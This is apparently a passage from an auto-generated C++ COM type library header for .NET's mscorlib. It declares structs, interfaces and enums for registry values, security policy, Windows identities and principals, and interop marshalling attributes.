RegistryKey; // [ default ] interface _RegistryKey // interface _Object // interface IDisposable enum __declspec(uuid("62ecb562-b92a-37e7-8d5b-84036a1a4348")) RegistryValueKind { RegistryValueKind_String = 1, RegistryValueKind_ExpandString = 2, RegistryValueKind_Binary = 3, RegistryValueKind_DWord = 4, RegistryValueKind_MultiString = 7, RegistryValueKind_QWord = 11, RegistryValueKind_Unknown = 0 }; struct __declspec(uuid("06b81c12-a5da-340d-aff7-fa1453fbc29a")) AllMembershipCondition; // [ default ] interface _AllMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("720bf501-75aa-39f3-b6c2-eabe2f47cee5")) ApplicationDirectory; // [ default ] interface _ApplicationDirectory // interface _Object struct __declspec(uuid("3ddb2114-9285-30a6-906d-b117640ca927")) ApplicationDirectoryMembershipCondition; // [ default ] interface _ApplicationDirectoryMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("80472d32-ef68-3988-be44-bd9e336d4df8")) ApplicationSecurityInfo; // [ default ] interface _ApplicationSecurityInfo // interface _Object struct __declspec(uuid("2fb9ac2a-8724-32d0-98fa-218c1b2b3e1d")) ApplicationSecurityManager; // [ default ] interface _ApplicationSecurityManager // interface _Object enum __declspec(uuid("d93eaca8-8176-387b-9667-6d32b504047b")) ApplicationVersionMatch { ApplicationVersionMatch_MatchExactVersion = 0, ApplicationVersionMatch_MatchAllVersions = 1 }; struct __declspec(uuid("a5448b7a-aa07-3c56-b42b-7d881fa10934")) ApplicationTrust; // [ default ] interface _ApplicationTrust // interface _Object // interface ISecurityEncodable struct __declspec(uuid("45cd6d50-a8b4-3783-9759-445fc3d4731c")) ApplicationTrustCollection; // [ default ] interface _ApplicationTrustCollection // interface _Object // interface ICollection // interface IEnumerable struct __declspec(uuid("128ba7d4-e68f-3223-85be-7372d0fb5423")) ApplicationTrustEnumerator; // [ default ] interface _ApplicationTrustEnumerator // interface _Object // interface IEnumerator struct __declspec(uuid("05c4d71e-fb7d-30be-b6b4-1df8999ceee1")) CodeGroup; // [ default ] interface _CodeGroup // interface _Object struct __declspec(uuid("62545937-20a9-3d0f-b04b-322e854eacb0")) Evidence; // [ default ] interface _Evidence // interface _Object // interface ICollection // interface IEnumerable struct __declspec(uuid("3f8d7e3a-24e7-3f7c-9dc5-4ca22ee7c782")) FileCodeGroup; // [ default ] interface _FileCodeGroup // interface _Object struct __declspec(uuid("28635cc7-4c39-3779-8c31-839101001f78")) FirstMatchCodeGroup; // [ default ] interface _FirstMatchCodeGroup // interface _Object enum __declspec(uuid("940b1725-f706-3cef-9586-0f189b117c20")) TrustManagerUIContext { TrustManagerUIContext_Install = 0, TrustManagerUIContext_Upgrade = 1, TrustManagerUIContext_Run = 2 }; struct __declspec(uuid("afaef10f-1bc4-351f-886a-878a265c1862")) TrustManagerContext; // [ default ] interface _TrustManagerContext // interface _Object struct __declspec(uuid("e7473f93-eccf-38ed-9285-e93cd2d27608")) CodeConnectAccess; // [ default ] interface _CodeConnectAccess // interface _Object struct __declspec(uuid("a601b6b7-422d-3b21-a61c-a77c5512f36a")) NetCodeGroup; // [ default ] interface _NetCodeGroup // interface _Object struct __declspec(uuid("e1c3e338-b088-3c69-9989-a0e59e96fea8")) PermissionRequestEvidence; // [ default ] interface _PermissionRequestEvidence // interface _Object struct __declspec(uuid("89d26277-8408-3fc8-bd44-cf5f0e614c82")) PolicyException; // [ default ] interface _PolicyException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("64e304c1-d80d-3388-94ef-002f45d5ac05")) PolicyLevel; // [ default ] interface _PolicyLevel // interface _Object enum __declspec(uuid("338d2529-b3d6-37f1-bb01-404698dc537b")) PolicyStatementAttribute { PolicyStatementAttribute_Nothing = 0, PolicyStatementAttribute_Exclusive = 1, PolicyStatementAttribute_LevelFinal = 2, PolicyStatementAttribute_All = 3 }; struct __declspec(uuid("abcc3df5-7e59-3780-a3cc-4f412008a5ea")) PolicyStatement; // [ default ] interface _PolicyStatement // interface _Object // interface ISecurityPolicyEncodable // interface ISecurityEncodable struct __declspec(uuid("0f71b36d-4006-35b5-9f42-4c468514af70")) Site; // [ default ] interface _Site // interface _Object // interface IIdentityPermissionFactory struct __declspec(uuid("7f5e4fd8-9575-3691-bf0c-2d30a21e4376")) SiteMembershipCondition; // [ default ] interface _SiteMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("f1566aaf-63fe-3f4b-b121-dcd17999119b")) StrongName; // [ default ] interface _StrongName // interface _Object // interface IIdentityPermissionFactory struct __declspec(uuid("7cffac1c-7370-30f9-aa72-e30fe39257d9")) StrongNameMembershipCondition; // [ default ] interface _StrongNameMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("f424d0be-f3cb-3d09-9b18-c523a739ebfe")) UnionCodeGroup; // [ default ] interface _UnionCodeGroup // interface _Object struct __declspec(uuid("7a2ae0c8-ef79-334e-bacf-d7ba452caf7c")) Url; // [ default ] interface _Url // interface _Object // interface IIdentityPermissionFactory struct __declspec(uuid("93e33d56-812d-3112-beeb-276a67d1172e")) UrlMembershipCondition; // [ default ] interface _UrlMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("6fcf98ff-b4d6-37a4-9dab-4de11a5fe5f2")) Zone; // [ default ] interface _Zone // interface _Object // interface IIdentityPermissionFactory struct __declspec(uuid("d72f9aeb-23f8-3b88-b6fd-8a143e3245a1")) ZoneMembershipCondition; // [ default ] interface _ZoneMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("ee24a2c3-3aa2-33da-8731-a4fcc1105813")) GacInstalled; // [ default ] interface _GacInstalled // interface _Object // interface IIdentityPermissionFactory struct __declspec(uuid("390e92c9-fa66-3357-bef2-45a1f34186b9")) GacMembershipCondition; // [ default ] interface _GacMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("260356e2-bafa-3349-8bf7-86eeb460a2c7")) Hash; // [ default ] interface _Hash // interface _Object // interface ISerializable struct __declspec(uuid("769edead-e3b2-3c89-b9a6-948cd7288587")) HashMembershipCondition; // [ default ] interface _HashMembershipCondition // interface _Object // interface ISerializable // interface IDeserializationCallback // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("649546a7-965f-366f-a735-0fb522917b5a")) Publisher; // [ default ] interface _Publisher // interface _Object // interface IIdentityPermissionFactory struct __declspec(uuid("05bf00f9-44b8-39a7-af36-7e11c9b502dd")) PublisherMembershipCondition; // [ default ] interface _PublisherMembershipCondition // interface _Object // interface IMembershipCondition // interface ISecurityEncodable // interface ISecurityPolicyEncodable struct __declspec(uuid("f4205a87-4d46-303d-b1d9-5a99f7c90d30")) IIdentity : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_AuthenticationType ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_IsAuthenticated ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("21c7f1a2-37fb-3bff-9819-f586a7702f36")) ClaimsIdentity; // [ default ] interface _ClaimsIdentity // interface _Object // interface IIdentity struct __declspec(uuid("4c534a8e-3c46-3745-bdae-5119c40f98e7")) GenericIdentity; // [ default ] interface _GenericIdentity // interface _Object // interface IIdentity struct __declspec(uuid("4283ca6c-d291-3481-83c9-9554481fe888")) IPrincipal : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Identity ( /*[out,retval]*/ struct IIdentity * * pRetVal ) = 0; virtual HRESULT __stdcall IsInRole ( /*[in]*/ BSTR role, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("62b5eee1-b5cd-30f1-854f-fbb7f2d8690b")) ClaimsPrincipal; // [ default ] interface _ClaimsPrincipal // interface _Object // interface IPrincipal struct __declspec(uuid("2eacb710-fe48-3c13-8145-e810792c58a2")) GenericPrincipal; // [ default ] interface _GenericPrincipal // interface _Object // interface IPrincipal enum __declspec(uuid("7d29bc4b-8fbc-38aa-8b35-ed4539a1cf8e")) PrincipalPolicy { PrincipalPolicy_UnauthenticatedPrincipal = 0, PrincipalPolicy_NoPrincipal = 1, PrincipalPolicy_WindowsPrincipal = 2 }; enum __declspec(uuid("10a8b906-2f7a-327c-87ab-1a95a9b5e23e")) TokenAccessLevels { TokenAccessLevels_AssignPrimary = 1, TokenAccessLevels_Duplicate = 2, TokenAccessLevels_Impersonate = 4, TokenAccessLevels_Query = 8, TokenAccessLevels_QuerySource = 16, TokenAccessLevels_AdjustPrivileges = 32, TokenAccessLevels_AdjustGroups = 64, TokenAccessLevels_AdjustDefault = 128, TokenAccessLevels_AdjustSessionId = 256, TokenAccessLevels_Read = 131080, TokenAccessLevels_Write = 131296, TokenAccessLevels_AllAccess = 983551, TokenAccessLevels_MaximumAllowed = 33554432 }; enum __declspec(uuid("8830f669-e622-3da0-bc37-4a02a151e142")) WindowsAccountType { WindowsAccountType_Normal = 0, WindowsAccountType_Guest = 1, WindowsAccountType_System = 2, WindowsAccountType_Anonymous = 3 }; enum __declspec(uuid("3e82fb4a-7f30-35b7-b8b1-6d717b3b5db0")) TokenImpersonationLevel { TokenImpersonationLevel_None = 0, TokenImpersonationLevel_Anonymous = 1, TokenImpersonationLevel_Identification = 2, TokenImpersonationLevel_Impersonation = 3, TokenImpersonationLevel_Delegation = 4 }; struct __declspec(uuid("70c7cec2-5bb2-3770-a26e-fc180c81f4fe")) WindowsIdentity; // [ default ] interface _WindowsIdentity // interface _Object // interface IIdentity // interface ISerializable // interface IDeserializationCallback // interface IDisposable struct __declspec(uuid("fc1abb5c-d107-3145-908a-3ea107d53748")) WindowsImpersonationContext; // [ default ] interface _WindowsImpersonationContext // interface _Object // interface IDisposable enum __declspec(uuid("8b7e18b8-3e96-3a4c-82cb-3d13fa15a32f")) WindowsBuiltInRole { WindowsBuiltInRole_Administrator = 544, WindowsBuiltInRole_User = 545, WindowsBuiltInRole_Guest = 546, WindowsBuiltInRole_PowerUser = 547, WindowsBuiltInRole_AccountOperator = 548, WindowsBuiltInRole_SystemOperator = 549, WindowsBuiltInRole_PrintOperator = 550, WindowsBuiltInRole_BackupOperator = 551, WindowsBuiltInRole_Replicator = 552 }; struct __declspec(uuid("138887db-c015-3254-b05a-d15616bf9aee")) WindowsPrincipal; // [ default ] interface _WindowsPrincipal // interface _Object // interface IPrincipal #pragma pack(push, 8) struct __declspec(uuid("8351108f-34e3-3cc9-bf5a-c76c48060835")) ArrayWithOffset { IUnknown * m_array; long m_offset; long m_count; }; #pragma pack(pop) struct __declspec(uuid("1a8e1b1f-ef9e-33e6-950e-4d9435f1335b")) UnmanagedFunctionPointerAttribute; // [ default ] interface _UnmanagedFunctionPointerAttribute // interface _Object // interface _Attribute struct __declspec(uuid("b36860b2-bac3-3c25-81ee-1f62cb91fc76")) DispIdAttribute; // [ default ] interface _DispIdAttribute // interface _Object // interface _Attribute enum __declspec(uuid("18c327e4-e4ba-3c3c-9942-274272626278")) ComInterfaceType { ComInterfaceType_InterfaceIsDual = 0, ComInterfaceType_InterfaceIsIUnknown = 1, ComInterfaceType_InterfaceIsIDispatch = 2 }; struct __declspec(uuid("c8a36b3c-bc72-31e7-8ba2-ef949a54bd0c")) InterfaceTypeAttribute; // [ default ] interface _InterfaceTypeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("43c2214a-95fc-362d-a792-7316c65b49aa")) ComDefaultInterfaceAttribute; // [ default ] interface _ComDefaultInterfaceAttribute // interface _Object // interface _Attribute enum __declspec(uuid("d58dc4bb-3a4c-3b0c-b75f-9d0876694f3d")) ClassInterfaceType { ClassInterfaceType_None = 0, ClassInterfaceType_AutoDispatch = 1, ClassInterfaceType_AutoDual = 2 }; struct __declspec(uuid("5819db84-163f-3fa2-853b-43a0269626b1")) ClassInterfaceAttribute; // [ default ] interface _ClassInterfaceAttribute // interface _Object // interface _Attribute struct __declspec(uuid("1f4bcc99-e9d8-3aab-99af-4d1ec26e3376")) ComVisibleAttribute; // [ default ] interface _ComVisibleAttribute // interface _Object // interface _Attribute struct __declspec(uuid("a09b7b15-dfa5-3e98-9c26-865ad9079e42")) TypeLibImportClassAttribute; // [ default ] interface _TypeLibImportClassAttribute // interface _Object // interface _Attribute struct __declspec(uuid("f912451b-8766-32cd-917f-3b9fee4421a8")) LCIDConversionAttribute; // [ default ] interface _LCIDConversionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("630a3ef1-23c6-31fe-9d25-294e3b3e7486")) ComRegisterFunctionAttribute; // [ default ] interface _ComRegisterFunctionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("8f45c7ff-1e6e-34c1-a7cc-260985392a05")) ComUnregisterFunctionAttribute; // [ default ] interface _ComUnregisterFunctionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("47854ae8-f71c-3459-a943-1e91edc951a7")) ProgIdAttribute; // [ default ] interface _ProgIdAttribute // interface _Object // interface _Attribute struct __declspec(uuid("8afeaa55-757f-3ddb-a750-b2caa6a0b80b")) ImportedFromTypeLibAttribute; // [ default ] interface _ImportedFromTypeLibAttribute // interface _Object // interface _Attribute enum __declspec(uuid("8a958a5b-626c-3d22-ab56-3ec30c9b7ee2")) IDispatchImplType { IDispatchImplType_SystemDefinedImpl = 0, IDispatchImplType_InternalImpl = 1, IDispatchImplType_CompatibleImpl = 2 }; struct __declspec(uuid("3ab97590-3a62-36fb-903f-bb70b015f156")) IDispatchImplAttribute; // [ default ] interface _IDispatchImplAttribute // interface _Object // interface _Attribute struct __declspec(uuid("ac0c43b1-6ca0-3e6c-b088-b11e96fa0ce3")) ComSourceInterfacesAttribute; // [ default ] interface _ComSourceInterfacesAttribute // interface _Object // interface _Attribute struct __declspec(uuid("8a3fd229-b2a9-347f-93d2-87f3b7f92753")) ComConversionLossAttribute; // [ default ] interface _ComConversionLossAttribute // interface _Object // interface _Attribute enum __declspec(uuid("97aa3979-1066-3969-b278-e064bdb97dce")) TypeLibTypeFlags { TypeLibTypeFlags_FAppObject = 1, TypeLibTypeFlags_FCanCreate = 2, TypeLibTypeFlags_FLicensed = 4, TypeLibTypeFlags_FPreDeclId = 8, TypeLibTypeFlags_FHidden = 16, TypeLibTypeFlags_FControl = 32, TypeLibTypeFlags_FDual = 64, TypeLibTypeFlags_FNonExtensible = 128, TypeLibTypeFlags_FOleAutomation = 256, TypeLibTypeFlags_FRestricted = 512, TypeLibTypeFlags_FAggregatable = 1024, TypeLibTypeFlags_FReplaceable = 2048, TypeLibTypeFlags_FDispatchable = 4096, TypeLibTypeFlags_FReverseBind = 8192 }; enum __declspec(uuid("bf1bf727-537f-3284-9ca9-5adf12641ab5")) TypeLibFuncFlags { TypeLibFuncFlags_FRestricted = 1, TypeLibFuncFlags_FSource = 2, TypeLibFuncFlags_FBindable = 4, TypeLibFuncFlags_FRequestEdit = 8, TypeLibFuncFlags_FDisplayBind = 16, TypeLibFuncFlags_FDefaultBind = 32, TypeLibFuncFlags_FHidden = 64, TypeLibFuncFlags_FUsesGetLastError = 128, TypeLibFuncFlags_FDefaultCollelem = 256, TypeLibFuncFlags_FUiDefault = 512, TypeLibFuncFlags_FNonBrowsable = 1024, TypeLibFuncFlags_FReplaceable = 2048, TypeLibFuncFlags_FImmediateBind = 4096 }; enum __declspec(uuid("c660d7a6-d1dd-3e9d-85eb-f844791e2dae")) TypeLibVarFlags { TypeLibVarFlags_FReadOnly = 1, TypeLibVarFlags_FSource = 2, TypeLibVarFlags_FBindable = 4, TypeLibVarFlags_FRequestEdit = 8, TypeLibVarFlags_FDisplayBind = 16, TypeLibVarFlags_FDefaultBind = 32, TypeLibVarFlags_FHidden = 64, TypeLibVarFlags_FRestricted = 128, TypeLibVarFlags_FDefaultCollelem = 256, TypeLibVarFlags_FUiDefault = 512, TypeLibVarFlags_FNonBrowsable = 1024, TypeLibVarFlags_FReplaceable = 2048, TypeLibVarFlags_FImmediateBind = 4096 }; struct __declspec(uuid("2f53c69e-f1f0-3e98-ad3b-eeaa89a88906")) TypeLibTypeAttribute; // [ default ] interface _TypeLibTypeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("05074a9c-0b30-3a78-aaef-99356e49df45")) TypeLibFuncAttribute; // [ default ] interface _TypeLibFuncAttribute // interface _Object // interface _Attribute struct __declspec(uuid("36bdd1da-2b15-3428-b055-bdabf4667c3f")) TypeLibVarAttribute; // [ default ] interface _TypeLibVarAttribute // interface _Object // interface _Attribute enum __declspec(uuid("875eb8b7-663d-3b83-b702-5af34662b9b5")) VarEnum { VarEnum_VT_EMPTY = 0, VarEnum_VT_NULL = 1, VarEnum_VT_I2 = 2, VarEnum_VT_I4 = 3, VarEnum_VT_R4 = 4, VarEnum_VT_R8 = 5, VarEnum_VT_CY = 6, VarEnum_VT_DATE = 7, VarEnum_VT_BSTR = 8, VarEnum_VT_DISPATCH = 9, VarEnum_VT_ERROR = 10, VarEnum_VT_BOOL = 11, VarEnum_VT_VARIANT = 12, VarEnum_VT_UNKNOWN = 13, VarEnum_VT_DECIMAL = 14, VarEnum_VT_I1 = 16, VarEnum_VT_UI1 = 17, VarEnum_VT_UI2 = 18, VarEnum_VT_UI4 = 19, VarEnum_VT_I8 = 20, VarEnum_VT_UI8 = 21, VarEnum_VT_INT = 22, VarEnum_VT_UINT = 23, VarEnum_VT_VOID = 24, VarEnum_VT_HRESULT = 25, VarEnum_VT_PTR = 26, VarEnum_VT_SAFEARRAY = 27, VarEnum_VT_CARRAY = 28, VarEnum_VT_USERDEFINED = 29, VarEnum_VT_LPSTR = 30, VarEnum_VT_LPWSTR = 31, VarEnum_VT_RECORD = 36, VarEnum_VT_FILETIME = 64, VarEnum_VT_BLOB = 65, VarEnum_VT_STREAM = 66, VarEnum_VT_STORAGE = 67, VarEnum_VT_STREAMED_OBJECT = 68, VarEnum_VT_STORED_OBJECT = 69, VarEnum_VT_BLOB_OBJECT = 70, VarEnum_VT_CF = 71, VarEnum_VT_CLSID = 72, VarEnum_VT_VECTOR = 4096, VarEnum_VT_ARRAY = 8192, VarEnum_VT_BYREF = 16384 }; enum __declspec(uuid("03d65b1a-bbf6-3bdc-bc53-85e02415670d")) UnmanagedType { UnmanagedType_Bool = 2, UnmanagedType_I1 = 3, UnmanagedType_U1 = 4, UnmanagedType_I2 = 5, UnmanagedType_U2 = 6, UnmanagedType_I4 = 7, UnmanagedType_U4 = 8, UnmanagedType_I8 = 9, UnmanagedType_U8 = 10, UnmanagedType_R4 = 11, UnmanagedType_R8 = 12, UnmanagedType_Currency = 15, UnmanagedType_BStr = 19, UnmanagedType_LPStr = 20, UnmanagedType_LPWStr = 21, UnmanagedType_LPTStr = 22, UnmanagedType_ByValTStr = 23, UnmanagedType_IUnknown = 25, UnmanagedType_IDispatch = 26, UnmanagedType_Struct = 27, UnmanagedType_Interface = 28, UnmanagedType_SafeArray = 29, UnmanagedType_ByValArray = 30, UnmanagedType_SysInt = 31, UnmanagedType_SysUInt = 32, UnmanagedType_VBByRefStr = 34, UnmanagedType_AnsiBStr = 35, UnmanagedType_TBStr = 36, UnmanagedType_VariantBool = 37, UnmanagedType_FunctionPtr = 38, UnmanagedType_AsAny = 40, UnmanagedType_LPArray = 42, UnmanagedType_LPStruct = 43, UnmanagedType_CustomMarshaler = 44, UnmanagedType_Error = 45 }; struct __declspec(uuid("aaffef00-519d-3ee0-8763-d4b650611e0d")) MarshalAsAttribute; // [ default ] interface _MarshalAsAttribute // interface _Object // interface _Attribute struct __declspec(uuid("f1eba909-6621-346d-9ce2-39f266c9d011")) ComImportAttribute; // [ default ] interface _ComImportAttribute // interface _Object // interface _Attribute struct __declspec(uuid("fde6d643-768a-3c91-a169-2c8fb7c1cd1f")) GuidAttribute; // [ default ] interface _GuidAttribute // interface _Object // interface _Attribute struct __declspec(uuid("204d5a28-46a0-3f04-bd7c-b5672631e57f")) PreserveSigAttribute; // [ default ] interface _PreserveSigAttribute // interface _Object // interface _Attribute struct __declspec(uuid("96a058cd-faf7-386c-85bf-e47f00c81795")) InAttribute; // [ default ] interface _InAttribute // interface _Object // interface _Attribute struct __declspec(uuid("fdb2dc94-b5a0-3702-ae84-bbfa752acb36")) OutAttribute; // [ default ] interface _OutAttribute // interface _Object // interface _Attribute struct __declspec(uuid("b81cb5ed-e654-399f-9698-c83c50665786")) OptionalAttribute; // [ default ] interface _OptionalAttribute // interface _Object // interface _Attribute struct __declspec(uuid("3c52777e-f51c-300a-8122-479a19164325")) DllImportAttribute; // [ default ] interface _DllImportAttribute // interface _Object // interface _Attribute struct __declspec(uuid("a0fff774-26bd-3de7-95ce-dbcea6088f96")) StructLayoutAttribute; // [ default ] interface _StructLayoutAttribute // interface _Object // interface _Attribute struct __declspec(uuid("3ba14c59-4c61-3d7c-8161-9962d7a89292")) FieldOffsetAttribute; // [ default ] interface _FieldOffsetAttribute // interface _Object // interface _Attribute struct __declspec(uuid("e1aa0b69-ca47-3749-aeb1-133dce4c705f")) ComAliasNameAttribute; // [ default ] interface _ComAliasNameAttribute // interface _Object // interface _Attribute struct __declspec(uuid("0e67c08b-d921-33d0-82fe-b6fd28bbaeff")) AutomationProxyAttribute; // [ default ] interface _AutomationProxyAttribute // interface _Object // interface _Attribute struct __declspec(uuid("6dd18f5d-7a5c-3868-b1c2-7e19da873386")) PrimaryInteropAssemblyAttribute; // [ default ] interface _PrimaryInteropAssemblyAttribute // interface _Object // interface _Attribute struct __declspec(uuid("03e4c7f5-974c-3253-9be0-41470697bbad")) CoClassAttribute; // [ default ] interface _CoClassAttribute // interface _Object // interface _Attribute struct __declspec(uuid("830ac1f5-98ee-39a3-9212-fa5626ca855a")) ComEventInterfaceAttribute; // [ default ] interface _ComEventInterfaceAttribute // interface _Object // interface _Attribute struct __declspec(uuid("5f8dc45f-a2d8-3e34-8c86-586ed6a74984")) TypeLibVersionAttribute; // [ default ] interface _TypeLibVersionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("7f962ebf-2220-30f0-8b92-24a73b7cd268")) ComCompatibleVersionAttribute; // [ default ] interface _ComCompatibleVersionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("84fee617-858b-364b-a662-8bf7ed5330ca")) BestFitMappingAttribute; // [ default ] interface _BestFitMappingAttribute // interface _Object // interface _Attribute struct __declspec(uuid("66708447-ecce-3422-b3a3-c8161c1c693b")) DefaultCharSetAttribute; // [ default ] interface _DefaultCharSetAttribute // interface _Object // interface _Attribute struct __declspec(uuid("9d309f77-4655-372e-84b0-b0fb4030f3b8")) SetWin32ContextInIDispatchAttribute; // [ default ] interface _SetWin32ContextInIDispatchAttribute // interface _Object // interface _Attribute enum __declspec(uuid("79c2c4a6-8d21-371c-995f-52c38701b91e")) CallingConvention { CallingConvention_Winapi = 1, CallingConvention_Cdecl = 2, CallingConvention_StdCall = 3, CallingConvention_ThisCall = 4, CallingConvention_FastCall = 5 }; enum __declspec(uuid("deae387d-c9a7-3a9c-b772-0153a2538502")) CharSet { CharSet_None = 1, CharSet_Ansi = 2, CharSet_Unicode = 3, CharSet_Auto = 4 }; struct __declspec(uuid("afc681cf-e82f-361a-8280-cf4e1f844c3e")) ExternalException; // [ default ] interface _ExternalException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("07f94112-a42e-328b-b508-702ef62bcc29")) COMException; // [ default ] interface _COMException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("0e71f38e-c5e1-3094-9487-5c7dd1e998ec")) GCHandleType { GCHandleType_Weak = 0, GCHandleType_WeakTrackResurrection = 1, GCHandleType_Normal = 2, GCHandleType_Pinned = 3 }; #pragma pack(push, 4) struct __declspec(uuid("66e1f723-e57f-35ce-8306-3c09fb68a322")) GCHandle { long m_handle; }; #pragma pack(pop) #pragma pack(push, 8) struct __declspec(uuid("c71dce2b-b87f-37a9-89ed-f1145955bcd6")) HandleRef { IUnknown * m_wrapper; long m_handle; }; #pragma pack(pop) struct __declspec(uuid("601cd486-04bf-3213-9ea9-06ebe4351d74")) ICustomMarshaler : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall MarshalNativeToManaged ( /*[in]*/ long pNativeData, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall MarshalManagedToNative ( /*[in]*/ VARIANT ManagedObj, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall CleanUpNativeData ( /*[in]*/ long pNativeData ) = 0; virtual HRESULT __stdcall CleanUpManagedData ( /*[in]*/ VARIANT ManagedObj ) = 0; virtual HRESULT __stdcall GetNativeDataSize ( /*[out,retval]*/ long * pRetVal ) = 0; }; struct __declspec(uuid("9a944885-edaf-3a81-a2ff-6a9d5d1abfc7")) InvalidOleVariantTypeException; // [ default ] interface _InvalidOleVariantTypeException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("9abe23bd-d5d5-30f6-b127-9b3ab98f7dbb")) LayoutKind { LayoutKind_Sequential = 0, LayoutKind_Explicit = 2, LayoutKind_Auto = 3 }; struct __declspec(uuid("742ad1fb-b2f0-3681-b4aa-e736a3bce4e1")) MarshalDirectiveException; // [ default ] interface _MarshalDirectiveException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("78d22140-40cf-303e-be96-b3ac0407a34d")) RuntimeEnvironment; // [ default ] interface _RuntimeEnvironment // interface _Object struct __declspec(uuid("ca805b13-468c-3a22-bf9a-818e97efa6b7")) SEHException; // [ default ] interface _SEHException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("e5de21f2-12d7-3604-8251-1c5dbc64ca66")) BStrWrapper; // [ default ] interface _BStrWrapper // interface _Object enum __declspec(uuid("96e0dee8-c1ca-38a5-a3c9-52da9b5440ef")) ComMemberType { ComMemberType_Method = 0, ComMemberType_PropGet = 1, ComMemberType_PropSet = 2 }; struct __declspec(uuid("d540a482-8fb8-3720-b52e-08c7a2c1b9df")) CurrencyWrapper; // [ default ] interface _CurrencyWrapper // interface _Object struct __declspec(uuid("da7109d3-bcd8-3d4c-b172-dfc2e585562a")) DispatchWrapper; // [ default ] interface _DispatchWrapper // interface _Object struct __declspec(uuid("d7900ebd-ff28-3ae6-b517-7e32714f578b")) ErrorWrapper; // [ default ] interface _ErrorWrapper // interface _Object struct __declspec(uuid("58734403-8382-3110-b729-14c7855982f9")) ExtensibleClassFactory; // [ default ] interface _ExtensibleClassFactory // interface _Object struct __declspec(uuid("3cc86595-feb5-3ce9-ba14-d05c8dc3321c")) ICustomAdapter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetUnderlyingObject ( /*[out,retval]*/ IUnknown * * pRetVal ) = 0; }; struct __declspec(uuid("a7248ec6-a8a5-3d07-890e-6107f8c247e5")) InvalidComObjectException; // [ default ] interface _InvalidComObjectException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("765653a0-2b24-38e4-a6f6-5cb325e8ccc9")) AssemblyRegistrationFlags { AssemblyRegistrationFlags_None = 0, AssemblyRegistrationFlags_SetCodeBase = 1 }; enum __declspec(uuid("c335350a-892d-37f7-967c-99b3c4c4a301")) TypeLibImporterFlags { TypeLibImporterFlags_None = 0, TypeLibImporterFlags_PrimaryInteropAssembly = 1, TypeLibImporterFlags_UnsafeInterfaces = 2, TypeLibImporterFlags_SafeArrayAsSystemArray = 4, TypeLibImporterFlags_TransformDispRetVals = 8, TypeLibImporterFlags_PreventClassMembers = 16, TypeLibImporterFlags_SerializableValueClasses = 32, TypeLibImporterFlags_ImportAsX86 = 256, TypeLibImporterFlags_ImportAsX64 = 512, TypeLibImporterFlags_ImportAsItanium = 1024, TypeLibImporterFlags_ImportAsAgnostic = 2048, TypeLibImporterFlags_ReflectionOnlyLoading = 4096, TypeLibImporterFlags_NoDefineVersionResource = 8192, TypeLibImporterFlags_ImportAsArm = 16384 }; enum __declspec(uuid("ad92602f-55f2-3552-a977-d93c79db346e")) TypeLibExporterFlags { TypeLibExporterFlags_None = 0, TypeLibExporterFlags_OnlyReferenceRegistered = 1, TypeLibExporterFlags_CallerResolvedReferences = 2, TypeLibExporterFlags_OldNames = 4, TypeLibExporterFlags_ExportAs32Bit = 16, TypeLibExporterFlags_ExportAs64Bit = 32 }; enum __declspec(uuid("b42619b4-0edc-3f55-aa64-2140275fa115")) ImporterEventKind { ImporterEventKind_NOTIF_TYPECONVERTED = 0, ImporterEventKind_NOTIF_CONVERTWARNING = 1, ImporterEventKind_ERROR_REFTOINVALIDTYPELIB = 2 }; enum __declspec(uuid("26170123-45fd-30f7-987d-bf3689662b6c")) ExporterEventKind { ExporterEventKind_NOTIF_TYPECONVERTED = 0, ExporterEventKind_NOTIF_CONVERTWARNING = 1, ExporterEventKind_ERROR_REFTOINVALIDASSEMBLY = 2 }; struct __declspec(uuid("fa1f3615-acb9-486d-9eac-1bef87e36b09")) ITypeLibExporterNameProvider : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetNames ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; struct __declspec(uuid("8a21df64-f31a-306f-9db8-0dfa164ed9ee")) ObjectCreationDelegate; // [ default ] interface _ObjectCreationDelegate // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("475e398f-8afa-43a7-a3be-f4ef8d6787c9")) RegistrationServices; // interface _Object // [ default ] 